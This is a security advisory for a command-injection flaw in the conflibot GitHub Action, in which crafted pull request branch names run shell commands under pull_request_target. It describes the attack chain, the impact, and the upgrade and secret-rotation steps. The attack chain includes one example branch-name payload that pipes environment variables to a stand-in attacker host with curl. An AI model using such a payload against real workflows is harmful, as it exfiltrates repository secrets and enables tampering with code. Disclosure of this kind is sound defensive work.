Command Injection in conflibot via Crafted Git Branch Names
The conflibot GitHub Action (versions < 1.2.1) is vulnerable to command injection via attacker-controlled pull request branch names, leading to secret exfiltration when executed via pull_request_target.
conflibot is a GitHub Action designed to manage and synchronize configuration files. A critical vulnerability (CVE-2026-55158) exists in versions prior to 1.2.1 where git commands are constructed using string interpolation and executed via a shell. Because the action accepts pull request branch names as inputs, an attacker can create a pull request with a maliciously crafted branch name containing shell metacharacters such as backticks, dollar signs, or semicolons.
When configured with the pull_request_target event, the GitHub Actions runner executes this malicious code with the base repository's context. This grants the attacker access to repository secrets and a write-scoped GITHUB_TOKEN. Exploitation requires no maintainer interaction and can be performed by any user capable of opening a pull request, including from a fork. This vulnerability allows for immediate secret exfiltration, unauthorized commits to the repository, or lateral movement within the CI/CD pipeline.
Attack Chain
- Attacker identifies a target repository utilizing
wktk/conflibotversions prior to 1.2.1 in a workflow triggered bypull_request_target. - Attacker creates a fork of the target repository.
- Attacker creates a new branch in the fork with a name containing shell injection payloads (e.g.,
$(curl attacker.com/$(env | base64))). - Attacker opens a pull request from the malicious branch to the target repository.
- The target repository's CI workflow is triggered by the
pull_request_targetevent. - conflibot invokes the vulnerable shell command, interpolating the malicious branch name into the command string.
- The runner executes the injected command with the privileges of the repository's
GITHUB_TOKEN. - Attacker captures exfiltrated secrets or uses the write token to modify the repository source code.
Impact
Successful exploitation allows unauthenticated attackers to execute arbitrary commands on GitHub-hosted runners. This results in the compromise of repository secrets, exposure of environment variables, and the ability to push malicious code to the base repository. Given the nature of pull_request_target workflows, this impacts any organization using conflibot to automate repository management, potentially affecting thousands of projects.
Recommendation
- Upgrade
wktk/conflibotto version 1.2.1 or 2.0.0 immediately. - Review workflows currently using
pull_request_targetfor any usage ofwktk/conflibotto assess potential prior secret compromise. - Rotate all repository secrets and personal access tokens that were accessible to the compromised workflow if the repository has been targeted.
- If immediate patching is not possible, disable the affected workflow entirely until the upgrade can be performed.
Immediate actions
Upgrade conflibot to v2.0.0 in all GitHub Actions workflows
Mitigations
Rotate all repository secrets accessible to workflows using conflibot
CVE-2026-55158